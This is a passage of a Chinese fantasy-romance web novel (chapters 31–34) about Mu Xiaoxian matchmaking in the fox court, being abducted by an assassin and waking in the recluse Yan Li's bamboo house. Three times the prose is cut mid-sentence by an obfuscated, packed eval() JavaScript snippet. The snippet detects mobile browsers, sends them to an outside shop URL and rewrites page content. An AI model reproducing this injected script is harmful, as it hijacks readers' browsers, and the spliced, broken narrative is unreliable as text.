白瑶看上去越是耀眼,他越沉迷不悟,心里的伤口越疼。他是一个普普通通的乐师,本来只想一直陪在她身边替她安神分忧,但现在一想到白瑶为他人披上嫁衣他就嫉妒得发狂。 他不敢说,害怕这会破环原本的平衡。但慕姑娘的话就像一巴掌将他拍醒了。如果他不说,白瑶就不会明白他的感情。何况,定亲的上神他觉得根本配不上白瑶。 慕小闲不知道苏怜漪给自己铺垫了多少内心戏,只希望他能干脆利落地被拒绝,然后他们各回各屋,从此一刀两断再无瓜葛,全剧终。 “她出来了。”苏怜漪压着声音说。 慕小闲扒开眼前一片叶子瞅了瞅,白瑶带着两名侍女从院子中央穿过,脸上依旧是礼貌优雅的淡笑,发间步摇上的珠玉在行走间摇曳,白衣飘飘宛若仙人。她身姿挺拔,在进寝宫的大门时侧头后望了一眼,没有多做停留。 苏怜漪眼睛一眨不眨地目送白瑶进门。慕小闲看白瑶已经走远,问:“你躲在这里就为了在她下班的时候看她一眼?” 苏怜漪慢慢收回目光,喉头一哽,化作一句轻叹:“她平日太忙了,有时会忘了召见我。其实我可以待在外厅为她弹琴,不会打扰到她的。” 他站在树阴下垂着头,嘴唇抿成一线,细碎的刘海半遮着眼,掩饰着眼里流转的水光。温润平和的面目之下,压抑着许多不为人知的情愫与哀伤。情不知所起,一往而深,他有什么办法呢? ——华尧真的是个好归宿吗? ——为什么不能是他呢? 慕小闲将苏怜漪的样子看在眼中,恍然记起自己刚入青丘那天,白瑶在大殿上一身黑色萎靡不振的样子,或许她心里并不是那么痛快。 慕小闲纠结地抓了抓头发,叹了口气:“算了,你想怎么做?我帮你。” 次日旁晚。 天色低沉,巡逻的侍卫点亮了偏院的灯笼。 竺予领着个木制的食盒匆匆进屋,从盒子里端出来半只还冒着热气的脆皮烧鸡。 慕小闲难得正经地端坐在桌子旁,眼睛一眨不眨地盯着那只酱油色的烧鸡,一阵诱人的香气扑鼻,让她眼睛一亮。 “我找了两间厨房好不容易才找到的。”竺予递了一双筷子给慕小闲,后者毫不客气地将烧鸡三下五除二撕扯开。 粉色的鸡肉暴露出来,光是看那娇嫩光滑的肉质,就能想像出口感会有多好。慕小闲舔了舔嘴唇:“多谢,好久没吃鸡了馋的不行。” 慕小闲连皮带肉夹起一块,在亮光下一看,喃喃道:“我跟你说,我吃鸡很有经验。我一看就知道这是不是一只好鸡。” 竺予“噗”地一笑,显然不信:“怎么?您还能看出它的生平不成?” “那倒不行。不过这鸡肉质紧致细嫩,绝对是散养的好鸡,就是放了超过一日有点不新鲜了。” 慕小闲把鸡肉塞进口中,酥脆的鸡皮和软嫩的鸡肉在牙齿与舌尖碰撞,完全不柴,汁水饱满,唇齿留香。“唔,这里的跑山鸡也太好吃了吧。” 慕小闲啃了口鸡腿,撕下一片热腾腾的嫩肉。“我心都要塌了。” “对了,让你打听的事怎么样了?” 竺予看着慕小闲吃的欢腾,目光飘散,有些心不在焉地说:“打听了。十一殿下外出了,过几日才会回来。我跟他家的侍从说了,有位慕姑娘近日来青丘探亲,想顺便见见他。” 慕小闲点点头,嘻嘻地笑了,语气夸张地说:“竺予亲亲办事我最放心了。” 竺予回过神剜了她一眼:“慕姑娘要是个男子,定然能唬的小姑娘晕头转向。” 慕小闲舔了舔手指,眼波一挑:“我是女子不也照样可以吗?” 竺予的嘴角抽了抽。 慕小闲加快速度将鸡啃的只剩了个半个架子,竺予递给她一杯温水和擦手的帕子,嘴上还不忘调侃:“我们也没饿着您啊,您这狼吞虎咽的像是有什么要紧事一样。 慕小闲低头喝水不语,眼珠子转了转,心里暗道确实有件要紧事呐。 竺予把桌上收拾一通,拎着食盒出了门。慕小闲在院门口瞅了瞅四下无人,背着手一本正经地挺起胸膛往后花园走去。 花丛间幽暗寂静,时不时飘来一阵沁人心脾的花香。园子里挂着为数不多几盏昏暗的灯笼,像是天上若隐若现的星星,映亮了地上暗淡的花草。 苏怜漪负手立在一盏灯笼旁,一层烛光镀在他身上,让他的一袭青衫染上几分暖意:“你觉得能行吗?” 慕小闲蹲在花丛间,拨开几束不知名的杂草,认真检查了一番,十分笃定地说:“相信我。科学表明......就是有一帮很有权威的高人通过研究发现,昏暗的环境利于距离的快速拉近,浪漫的场景更容易加深感情。 “不过你和白瑶殿下情况特殊,不论她作何反应,你都要做好心理准备。我可不负责失恋后的心理调节,但是如果价钱另算,我也可以试试。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137695|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏怜漪一想到白瑶,眼中划过一丝痛楚,虽然他面上依旧平静无波,声音却染上了几分艰涩:“是么,怜漪受教了。” 夜色昏沉,园子里传来阵阵蝉鸣。 白瑶身边的侍女想办法将她引来后花园。 侍女与白瑶漫步花园,高声闲话几句。白瑶夜里简单绾着头发,单薄的披风系在胸口,内衬是一件宽大的粉色衣裙,微光之下愈加楚楚动人。风中传来她温柔的声音:“今日为何要带我过来?可是有事?” 苏怜漪看了慕小闲一眼,慕小闲会意冲他点点头。 清风相送,花叶微颤,晃荡间花丛里冒出点点莹光。 贯穿后花园的花圃,朵朵繁花被莹光点亮,衬得整个园子像大片空灵的星海,汇聚成了一条璀璨的银河。 侍女不知何时已经功成身退,只留白瑶一人睁大了眼睛,有些惊慌地看着眼前的景物。 莹光瞩目,宫墙上花影摇曳,将白瑶素色的衣袍印上温柔的花色。 清风徐来,吹乱了白瑶的散发,零星莹光随风而起,像暗夜中的萤火虫缓缓飘向上空。 白瑶抬起头,在几点光团中转过身,惊奇地看着面前飘散的莹光,渐渐高过红墙绿瓦,坠入漆黑的夜空中,飘往遥远的星瀚。 墙的另一边传来几声惊呼: “哇!那是什么?” “好美!” “快来看呀!” “哇!” 苏怜漪一袭浅葱色的长袍,自花丛中踱步而出。 温暖的莹光映上他的侧脸,仿佛星星落入了他的眼睛。 他淡笑着望向白瑶,眼里是无尽的温柔,脚步轻缓,风吹动衣摆,像一位乘风而来的翩翩公子。 白瑶待他上前,与他眼神一触,像是被他的目光勾住一般,久久无法回神。 苏怜漪心中一喜,忍不住别开目光,白瑶才从似真似幻的气氛中抽离出来。 “怜漪?”白瑶轻声问:“这是?” 苏怜漪眼神熠熠地看着白瑶,轻柔地问:“好看吗?” 白瑶望着漫天飘摇的莹火,微笑着轻叹一声:“很美。” 苏怜漪与白瑶两人伫立在花草间抬头眺望,莹光点点从身边飘起,随风而去,带走了世间纷杂,也迷了眼睛。 白瑶侧头看向苏怜漪:“这是你准备的吗?” 苏怜漪目光炙热地看着白瑶点点头:“喜欢吗?” 白瑶眼中带笑:“不错。”话音一转:“不过,你怎么突然准备这些?” 苏怜漪眸光一闪,挪开一瞬又回到了白瑶脸上,似乎是太过紧张,呼吸都变得犹犹豫豫。他眼神中满是小心翼翼的试探,脆弱的薄唇微微颤抖,一句深埋心底的话就要溢出。 白瑶望着他的眼睛,等待他的回答。 他突然很害怕白瑶知道后会如何对待他,他们是否还能这样心平气和地在一起赏景、说话。 良久,苏怜漪喉头一滚,瞳孔微缩,克制地收回目光:“我......我觉得殿下每日处理政务太辛苦,需要放松放松......”酸涩的话音仿佛一把粗粝的刀刺进他的胸膛,让他眼眶染上一层酸涩。 慕小闲难以置信地睁大眼睛,他在搞什么?这不是他们事先约定好的台词。 苏怜漪眼中隐隐有痛意流淌,不由垂下眼睫。白瑶意味深长地看了他一眼,浅笑着说:“是啊,我忙的都忘了听你弹琴了。” 白瑶抬头望着绚烂的夜空,静默片刻后说:“以后你可以自由进入书院的前厅。” 苏怜漪呼吸一滞,抬眼望着白瑶:“可是,可是那是......” 白瑶转过身深深看了他一眼:“不要紧。来陪我排忧解愁吧。” 苏怜漪眼眶红了,心里涌上一股失而复得、难以言喻的欣喜,浅浅点了下头:“好......我......我明日就去。” 两人漫步花园,声音逐渐远去。 没想到折腾了一个晚上是这样的结果,不过对他们来说也许是件好事吧。 慕小闲从草丛里走出来,活动活动胳膊腿,在花园中央停了下来。 隔墙声势渐消,微风带着丝丝凉意拂起长发,她孤身一人在广阔幽暗的花园里,望着上空零星飘渺的光芒,不知为何产生了一丝说不清的艳羡。 32. 第 32 章 经年累月,苏怜漪习惯了与白瑶之间的距离,故而一时无法将心底的百转千回说出口,但他与白瑶的关系亲近了不少,一连几日都陪在书院为她抚琴。 每日长时间抚琴,苏怜漪消瘦了不少,指尖起了厚厚的茧子,只能自己拿小刀一点点削去。某日慕小闲碰巧见了,心里一软又给他支了一招。 “一日两面如例行公事,她迟早会把你当成同事的。除此之外,你还要想办法出现在她生活的方方面面,让她习惯你。” 苏怜漪问:“那当如何?” 慕小闲回忆了一下电视剧里后宫嫔妃们的招数,挑挑拣拣后说:“我觉得你可以亲手做些解乏的甜点,虽然不能亲手送进去,但她一看到就能联想到你。” 苏怜漪在慕小闲的点拨下,换着法子做了几次点心。白瑶什么反应不知道,但几日不见苏怜漪看上去气色红润了不少,据说他每次做好都会自己先尝尝。 荷花池判的望山流亭内,苏涟漪将食盒摆开,又倒好茶水,目光泛着诚挚的光:“慕姑娘帮了我大忙,我不知怎么感谢你。你若是有需要帮忙的事情,请尽管说。” 慕小闲吞下嘴里清凉的薄荷糕,又拿起食盒里香飘四溢的芋头酥,说:“不用谢。我这两日就打算离开了。” 苏怜漪举起茶杯小酌一口,眼神带着揣摩说:“慕姑娘来青丘是有事要做吧?我能帮的上忙吗?” 慕小闲咬下芋头酥外层香香脆脆的皮,道:“其实,其实我确实有事。” 苏怜漪放下杯子静静等候下文。 慕小闲凑近了小声说:“我想找晏离。” 苏怜漪淡笑的唇角微微一顿,眼波流转,前倾的身体后退了几寸,坦言道:“晏离公子一直不见踪迹,怕是不好找。” 香香甜甜的芋头酥已然落入了慕小闲的口中,她拍了拍手上的残渣,含糊不清地说:“我知道啊,不然还找什么。” 苏怜漪抬眸,目光直直的看着慕小闲的眼睛:“长乐宫的人都无法找到晏离公子,就没有人能找到。” 慕小闲咀嚼的速度慢了下来,然后加快一鼓作气吞了进去,蹙起眉头疑惑地问:“为什么找不到,难道他失踪了?” 苏怜漪挪开眼神:“已有千年未曾有他的消息,不知他是否还在青丘。” 慕小闲倒吸一口凉气,空气窜入她的咽喉,引起一阵剧烈的咳嗽。她咳了几声,难以置信地盯着石桌光滑的桌面:晏离若是不在青丘,她现在在这里做什么? 苏怜漪伸着手想扶,但觉得不妥又抖抖袖子放下。“慕姑娘,不如你在宫中多留几日,我派人打听打听?” 慕小闲心里一动,本觉得这样也行,但马上又否定了:“不。晏离有意隐居,你着人打听若是叨扰他了,怕是更难找了。我再想想。” 苏怜漪沉默不语。 慕小闲摆摆手:“你去找白瑶殿下吧。这几样点心都不错,不过吃多了有点腻,要是搭配糖水润润嗓子会更好。” 慕小闲偷偷溜回自己住的观园客邸,蹑手蹑脚地迈进弧形拱门,就听到“咳咳”两声。她立马站定,僵硬地扭过头看向旁边的回廊。 竺予今日用淡粉色绸子扎了个双丫髻,一身桃粉色,叉着腰,脸色不悦地瞪着她。 慕小闲换上一脸标准的微笑,抬头望天伸了个懒腰:“今天天气真好啊。” 竺予气没处使,冲上前:“慕姑娘,这一大早您又去哪儿了?” 慕小闲偏头微笑着看她,伸了个懒腰:“哈哈一日之计在于晨,我早锻炼去了。广播体操/你知道吗?一二三四二二三四......” 小竺眼皮跳了跳:“行了行了。我不是不让您出去,只是您得告诉我一声啊,我是您贴身侍女,您要出了什么事我还怎么混得下去啊。” 慕小闲眼神真挚而诚恳地看着她说:“知道了,我下次一定提前知会你。”然后逃也似的躲进房里。 竺予眼见着房门阖上,嘟囔道:“您昨儿也是这么说的。” 又过几日,正当慕小闲想着是时候该离开长乐宫去找晏离时,竺予满脸欣喜地跃进屋内,通报说主上邀请她共进晚宴。 慕小闲想不明白竺予这么高兴是为什么,她这副样子就好像慕小闲是无人问津的落难妃嫔,今日终于被殿下翻了牌子。 白瑶近半月未见,大抵是终于想起宫里还免费供着个外人,所以想问问她什么时候离开? 这次设宴不是在第一次庄严肃穆的正殿,而是一间宽敞明亮的偏殿。偏殿面积不大,中间摆着一张木质圆桌,倒是有些寻常人家温馨的氛围。 白瑶赶来时身上穿的还是处理政务时未来得及换下的白底金丝暗纹长裳,她冲慕小闲微微点了下头,发间的金钗珠玉轻轻一颤。 苏怜漪则是一脸平淡地在她身侧坐下,目光不偏不斜,桌下的手紧攥着衣角。 “慕姑娘这些天待得可习惯?”白瑶自带高冷疏离的气质,每每张口都客客气气。 慕小闲点点头,瞥了苏怜漪一眼:“习惯得很,我在哪儿都能过得很好。” 白瑶率先动筷,夹了些清炒的百合,小口一张,悄无声息地咀嚼吞咽。慕小闲眼角一跳,果然是仙女,不似凡间粗人。 几人随便品尝几口,白瑶纤纤玉手放下筷子,转而对慕小闲说:“那日慕姑娘怕是不合口味,所以今日准备了些小炒,都是青丘普通人家的下饭菜。味道果真是不同寻常。” 慕小闲道:“有劳费心。民间菜未必不如宫里,你们吃惯了宫里精致的美食,偶而也可以换换口味。”眼睛偷瞄了对面一眼,不等他们回应,筷子一顿,状似随意地问:“今天怎么想到一起吃饭?” 白瑶眼神柔和,仿佛想到什么开心事,眼角流露出一丝笑意:“这几日发现了一些趣事。” 慕小闲疑惑地瞟了一眼苏怜漪,他垂着头眼神斜斜地落在白瑶身上。 难道白瑶猜到了? 慕小闲装作不经意地问:“不知是什么事?” 白瑶的目光在两人身上转了一圈,抿嘴微笑:“我听闻那夜花园里用的月莹草是慕姑娘提议的?” 慕小闲抬眼看了苏怜漪一眼,他微垂着眼,视线避开了她。 是苏怜漪告诉她的? 慕小闲放下筷子,瞪着他的头顶抿了抿嘴,心里有些恨铁不成钢。原本是苏怜漪因为体恤白瑶公务繁忙而准备的浪漫之夜,现在变成了她出的主意,这件事就变味了。 看来这饭要么是兴师问罪,要么就是宣示主权。 难道苏怜漪是想刺激一下白瑶,看她会不会吃醋? 事已至此,慕小闲只好点头:“是啊,我觉得会很好看,所以和苏先生一起思量的。” 苏怜漪身体微动,蹙了下眉,眼里带着警告抬眼看了慕小闲一眼。 慕小闲不明所以,带着狐疑的眼色地看了回去。 一时间几人心思各异。 慕小闲将碗里的菜囫囵吃完,又伸手夹菜,手伸到一半就要落下,身旁的白瑶突然出声:“慕姑娘有心了,这些天的点心慕姑娘也有功劳吧。” 慕小闲狠狠瞪了苏怜漪一眼,这你也说?然后随便夹了一把不知道是什么丢在碗里。 苏怜漪与她视线一触,这次面对慕小闲尖锐的目光,他坦坦荡荡地怼了回去。那副大义凌然一身正气的表情仿佛在说,那又如何? 约莫是他身上那种正气有种说不上来的违和,估计心里也是慌的一笔,慕小闲满腹疑惑又压了下去。 两人在桌上的眼神交战落在白瑶眼里更加耐人寻味了,她垂眸思忖片刻,举起金樽敬慕小闲:“苏先生向来醉心乐理不谙世事,近来仿佛换了一个人,都是慕姑娘的功劳。” 慕小闲连忙放下筷子举杯:“不敢当不敢当。都是苏先生自己的本事。” 白瑶浅饮一口,轻柔地放下杯子,眼里含笑:“呵呵,苏先生与慕姑娘好像很投缘。” “不是!” 她话音未落,苏怜漪突然高声打断。白瑶侧过头红唇勾起,眼中的笑意饱含深意。苏怜漪有些看呆了,嘴唇微张不知该说什么。 慕小闲反应过来:“没有的事。我们说话仿佛鸡同鸭讲、对牛弹琴,不不,我的意思是我们完全不在一个频道上,思想不能互通。” 白瑶沾了酒,身上那股与她平日表象反差极大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137696|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媚态,一点一点如同抽丝一般散发出来。她惆怅地望着门外落下的清冷月色,回望了苏怜漪一眼,眼里是一贯的温和。 苏怜漪此刻未加掩饰地将浓情融在眉眼之间,伸手可及的距离,他仿佛永远也无法触及。 白瑶一点一点收回目光,喃喃道:“苏先生陪在我身边多年,也应该考虑考虑自己的事了。” 苏怜漪眼神一变,突然站起身。慕小闲正举着筷子要趁他们不注意多夹点菜,苏怜漪一站起身,她只能停下来抬头望着他。 苏怜漪手足无措地看着白瑶,眉眼之间是沉淀了多年的纠结与痛苦:“殿下......殿下我......” 慕小闲坐直了身子,他是不是终于要表白了? 白瑶抬头望着苏怜漪,他与白瑶的目光纠缠在一起,几秒过后,他狠狠撇过头不看白瑶:“殿下我有喜欢的人了,我不苛求她能接受我,我只想就这样陪在她身边。”然后苏怜漪后退一步,向白瑶作揖,甩袖离席。 清冷的月光洒在他单薄的肩上,脚下的影子却好像戴着沉重的枷锁。 白瑶不明所以地望着苏怜漪离去地背影:“怎么了?”她转过头问慕小闲:“他可是有什么难处?” 慕小闲不知该怎么回答,放下筷子,擦了擦嘴对白瑶说:“莫慌。我去看看。”随后跟着走了出去。 苏怜漪步履蹒跚,慕小闲三步并作两步追上他,问道:“你怎么突然走了?” 苏怜漪停下,转身眼里写满了挣扎与质疑,苦涩从他的嘴角溢出:“你听懂她的意思了吗?”他向前一步,咄咄逼人地说:“她想让我娶亲。” “为什么?”苏怜漪垂眸轻叹。 如此优柔寡断、反反复复,慕小闲看了着实心烦。 “你既然不想她误会就应该跟她说明白。” 苏怜漪低垂的眼睫一颤,悠悠地抬眼,古怪地看着慕小闲:“误会不是你造成的吗?” 慕小闲一哽:“你什么意思?我可没跟白瑶打小报告。” 苏怜漪蹙眉,怀疑的目光在慕小闲脸上逡巡,迟疑道:“我没跟她说过你帮我的事。如果不是你,她是如何知道的?” 慕小闲心下有几分了然,白瑶不知从哪儿知道了这些天她帮苏怜漪忙前忙后的事,误会她和苏怜漪之间有暧昧,想顺势推一把。而苏怜漪察觉白瑶的心思后,怀疑是慕小闲假意教他讨好白瑶,实则背地里放出风声让人误会,想趁机攀附于他。 慕小闲好心当了驴肝肺,再看苏怜漪时眼中已染上一丝寒意:“你这是在怀疑我?” “不......” 慕小闲怒气涌上来,拉下脸说:“算了,你的事我不管了,你们如何我也不想知道。” 苏怜漪慌张地伸出手,慕小闲避之不及:“别烦我。” 慕小闲一甩袖,气冲冲地向另一个方向走去。苏怜漪这副谨小慎微、瞻前顾后的做派,比不上华尧一根手指头,白瑶若真是看上了他才是家门不幸。 她沿着长廊漫步,正好饭后消食,一路走出昏暗的偏殿园子,穿过几道门都没见到个人影。 夜色深沉,院内空寂,走廊的灯笼都只点了寥寥几盏。弱小的火光在罩内随风摇曳,仿佛随时会被黑暗吞没。 “月黑杀人夜,风高放火天”今晚夜色甚浓,真是个杀人放火的好时候啊。 经过几间幽暗的厢房,廊庑尽头是一团深不见底的漆黑。 慕小闲环顾四周,沉寂又空旷的院内,阴冷的风毫无阻拦地穿梭着,吹散了她鬓角的碎发,也吹乱了她的思绪。漆黑深处,伴随着冷风传来压低的、微弱喘息声:“......” 慕小闲打了个寒噤,后退几步,小心翼翼地侧耳,风中仿佛有人在念叨:“药啊药啊......” 大概是回廊产生的穿堂风声吧。 慕小闲转身向有亮光的地方走去,穿过光亮处就能回到主殿后的大道上。身后突然渗入一丝刺骨的寒意,她脚步微顿,转而又加快了几分。 就在她疾走几步,快要一脚踏入光团时,突然眼前一黑,双腿一软扑倒下去。融融暖光映在她眼皮上,她沉沉地晕了过去。 33. 第 33 章 夜色如迷雾包裹着寂静的宫宇,一道隐没在黑暗中的身影如同飞燕般轻巧地跃过屋檐,从长乐宫墙飞掠而出,没有惊动任何人。 慕小闲这一觉睡的挺沉,如果不是有人在搬运过程中总是磕磕绊绊,或许她能直接睡到天亮。 “嘶”麻袋不知撞上了什么硬物,慕小闲眼皮一跳脱口而出:“轻拿轻放懂吗?” 外面安静了几秒钟,然后又不知悔改地操作起来。 “喂,你是哪路的?为什么要绑我?是不是认错人了?不如你将我放下,我们对一对身份信息,若是抓错了,我可以既往不咎......” “绑架我图什么呢?我又没钱。难道有人看上了我的美貌啊哈哈哈哈” “......” 外面风声呼啸,却一直没有回应,慕小闲眼珠一转,提起一口气放声高歌。那声音如同在木头上拉锯,简直可以用凄厉来形容,两声过后,她耳边响起一声咬牙切齿的怒吼:“闭嘴!” 慕小闲识时务地闭上嘴巴,但心中却更加疑惑,她如此大声的折腾竟然也没引来长乐宫一人,要么是被施了什么法术,要么是她已经离开宫里了。 如此一想,慕小闲反而收敛了许多,既然折腾也没用,不如留着力气静待时机。 耳边衣袂猎猎,她移动的速度极快。 黑衣人的身影如同鬼魅一般在暗夜中疾走,又恍若一道清风,吹拂过林间的树梢,留下一抹残影。忽然,他凌厉的眼神一变,猝然停在一无人问津的荒野深处,将套着慕小闲的麻袋扔在地上,绷紧了身体警惕地观察着四周。 幽幽黑暗深处,静谧无声,似乎有什么东西正在暗中观察他。 黑衣人不过是为了将慕小闲带到一个远离长乐宫的地方,将她神不知鬼不觉地处理掉,并不想惹出更多是非。他余光落在那一团麻袋上,手掌浮现一抹黯淡的幽光,提起手肘正要向慕小闲的咽喉处去...... 忽然,身后一阵寒风乍起,穿过重重草木卷起簌簌草叶,他的长发胡乱掩住了眼睛,他撇过头,待疾风消散,就在短短几秒间,麻袋突然消失在了眼前,密林深处空余他一人。 黑衣人略有迟疑但并不惊慌,抬起头嗅了嗅,闻到空气中一丝不同寻常的气息。那是一种动物的气味,青涩、顽劣,不足为惧。 他环顾四周,猛然盯准一个方向,身影蓦地消失在原地。 。 小十一拖着慕小闲跌跌撞撞地在山中飞奔,试了几次都未能带慕小闲飞起,两人只能盲目地在山林中四处逃窜。 “你怎么在这里?”慕小闲气喘吁吁地问。 “我原本是去长乐宫找你,路上撞见一黑衣人鬼鬼祟祟地从宫里出来,没想到听到了你的声音,所以我就一路跟着他找机会救你出来。” “他是谁?为什么要杀你?”小十一问。 慕小闲慌乱中答道:“我不知道。我根本不认识他。” 黑衣人紧随其后,危机感如影随形。慕小闲凡人之躯折腾了一晚上本就精疲力竭,很快就累的双腿发软、冷汗直冒。 慕小闲松开小十一的手,将他往前赶了赶,哑声催促道:“你先走,我跑不动了。” 小十一瞪了她一眼:“凡人就是麻烦!跑不动也得跑!快点跟上!” 身后突然一阵疾风呼啸,饶是慕小闲也感觉到黑衣人的逼近,她大脑一片空白,情急之下又迸发出一股本能,跟着小十一向前跑了出去。 黑衣人在林中穿梭,目及之处出现了一大一小两个奔走的身影,正欲向前,忽然一道绿色的荧火挡住了他的视线。 狐火! 狐火如同一团熊熊燃烧的烈焰倒映出黑衣人的身影,他停下脚步,伸手穿过那团火焰的焰心。 焰心并无温度,反而渗出丝丝凉意。 火舌一卷,似乎烧得更旺了,但没坚持多久,忽而绕着焰心旋转化作一缕青烟熄灭。 呵,雕虫小技。 慕小闲跟在小十一身后不知跑了多久,只觉得脑中嗡嗡作响,眼前草木飞旋而过,看不清任何景物,直到她一头撞在树上,才惊觉自己栽倒在地。 “慕小闲!慕小闲!”小十一焦急地拍了拍她的脸,将她拖拽起来。 慕小闲甩了甩头,又昏昏沉沉地跟着他向前走去。 幽暗的深林仿佛没有尽头,不知过了多久,树木渐渐稀疏,眼前的视野突然变得开阔。 两人急着向前奔走,不留神一脚踩进了河水的边缘,慕小闲脚下一滑又跌了一跤,溅起满身水花。身上的衣物本就沾了土灰,此刻更是泥泞不堪,半点看不出原本的锦衣华服。 月色昏沉,河水湍急,看不清深浅。寒风在耳旁呼啸,似乎催促着他们赶紧向前,但前方却已经无路可走。 “怎么办?我不会水。”小十一焦急地跺了跺脚,见慕小闲呆呆地坐在地上,瞪了她一眼又伸手去拉她:“早知道我就不该来救你,你怎么了,你清醒一点。” 慕小闲此刻已疲惫得无法思考,被小十一嗡嗡一吵,几乎头痛欲裂。她正要张口,忽然身后的风声停歇,密林深处一股骇人的压迫感渐渐向他们逼近。 黑衣人掩去了容貌,修长的身影融于黑暗中,裹挟着幽暗森冷的气息。 小十一飞身跃起,一道蓝绿色的狐火打向他。他轻轻偏过头,避开攻击,狐火擦身而过,砸在他身后一棵树干上,滋滋烧出了一团焦黑色。 慕小闲喘息着,定了定神,冲黑衣人叫道:“你是谁?我不记得得罪过你,是不是有什么误会?” 黑衣人没有回答,黑色的长靴一步一步碾过地上的青草,紫色的氤氲如同电流缠绕在五指间,眼中充斥着坚定果决的杀意。 小十一身体微微发颤,向后挪了半步,一脚踏进了水中,又赶紧收回了脚。 慕小闲低喘着,沉声道:“放了他,我跟你走。” 身侧的小十一偷偷看了她一眼,又抬眸望向一身杀气的黑衣人,眼里有些犹豫。 黑衣人未有回答,忽一抬袖,一道紫色寒光直冲慕小闲而来。 慕小闲惊得僵在原地,瞳孔紧缩,电光火石之间身上一撞,被小十一扑倒在地上。顺势扬起的发丝,被紫色寒光熔断,一股焦灼的气息在空气中弥漫。 那道紫色寒光落入水中,激起浪花千层,如同一波滔天海浪涌向对岸,冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的出现好似在绷紧的琴弦上随意一拨,霎时间打破了暗夜原本的僵持。 正在这时,黑衣人猝然出手,袭向毫无防备的慕小闲。 就在那道犀利的寒光逼近时,她身上突然一轻,哗的一声,整个身体从水中抽离。 河面被寒光掀起波浪,画舫却迎着浪潮稳如泰山。 慕小闲越过宽阔的河道,悠悠落在画舫的船头。她浑身透湿又精疲力竭、双腿软弱无力,一落下便跌倒在地。 纯净洁白的衣摆落入她的眼中,撞进她的心里。 她缓缓抬起头,眯着眼睛向上看去,却因头脑晕眩、视线模糊,如何也看不清他的模样。绕是如此,他冷静沉稳的气息也让她心上没来由地一松,顿时眼前一黑,倒地晕厥过去。 黑衣人眼神凌厉,想看清白衣的模样:“你是谁?” 白衣款款侧过身,伞上的水墨金竹掩去了他的大半张脸,只余对利落的肩颈线和身后垂下的青丝。 伞面朝外一转,伞上金竹变幻莫测。忽然河上一阵大风刮过,落叶铺天而至,挡住了黑衣人的视线。 黑衣人暗骂一声,挥袖拂开眼前的遮挡,却见河面上恢复了风平浪静,什么游船画舫、白衣仙人,恍若海市蜃楼一般陡然消失,就连原本留在岸边的小十一也不知去向。 34. 第 34 章 清晨,一缕温和的阳光从狭小的门缝中斜斜地挤进来,投射在古朴的床沿上。 慕小闲迷茫地睁开眼睛,眼前是混沌的白色,似有烟雾遮挡住了视线。她昏昏沉沉地晃了晃头,往前走几步,隐约看见一个清丽的人影,回过头朝她伸出了手。她不知为何非常想要靠近他、将手递到他跟前,但他们之间好似横亘一道屏障,她怎么也无法走近。 她意识到这是个梦,于是闭上眼睛又睁开,视线逐渐由模糊变得清明,目及之处是青绿色的屋脊,空气中隐匿着一丝淡淡竹子的清香。 这里是哪里?难道这次是真的穿越了吗? “慕小闲,你终于醒了!” 一团白花花的东西扑到她身上,压得她喘不上气。 小动物?长得还挺漂亮。慕小闲坐起身,把这只动物翻了个面儿。呀!还是只公的! “也好。这次还能有个宠物跟我作伴。” 小东西两眼一翻,嘴里骂道:“慕小闲你个疯子!我是小十一!” “呀!还会说话呢!”慕小闲把小东西翻来覆去,小十一的皮毛泛起红晕,他挣扎出慕小闲的手,飞身一踢,直击慕小闲的额头。 “你给我清醒一点!” 慕小闲被踢得又倒回床头重新来过,她冲着房梁眨了眨眼睛坐起来:“哦,原来是小十一,这么说,我还在天界。” 小十一摇了摇头,觉得慕小闲没救了。 “这里是哪里?”慕小闲问。 “这里是晏离的竹屋,是他救了你。你高烧昏迷了七天七夜,怎么都叫不醒,吓死我了。” “晏离……”松松搭在被子上的手抓紧了边角,慕小闲陷入回忆之中,她记得那夜被一名黑衣人追杀,她在丛林中奔走,还落入了水中,但怎么也想不起来后面发生了什么。 她终于找到晏离了?不,晏离终于找到她了? “是他救了我们?” “是啊,那水墨金竹伞忽地一转,河面刮起一阵大风,吹得树叶乱飞。一眨眼我们都被收入了画舫中,周围景物骤然变换,我们就被带来了竹隐山。听说晏离素来不喜喧闹,游离于尘世之外,是一位难得一见的隐世高人。谁也不知道他的踪迹,居然恰好被我们遇上了,真不知我们算运气好还是不好......”小十一绘声绘色地描述着,两眼透着兴奋的光芒。 屋外悠扬的琴音伴随着清透的水声穿过窗棂,落入慕小闲的耳中。琴音悠扬清灵,似乎带着一丝小心翼翼。 慕小闲心中微微一动,拉开被子走下床,推开竹屋半掩的门。屋外熹微的光线一下子挤了进来,让她垂下眼帘适应了一会儿,再抬眼时,就见所在的竹屋架在一条小溪边,潺潺流水倒映着满山青林翠竹。 不远处摆着一把细长的古琴,从首尾精致的雕花可以看出是把好琴,约莫经历了很长的岁月,但木头依旧透着一股充满生机的光泽。 素雅清冷的背影端坐在琴旁,青丝垂在身后,修长纤细的手指在琴上撩拨,似乎并未发觉他们的出现,只是脊背在不经意间绷紧。 琴声突然断了,身影一动,缓缓起身。 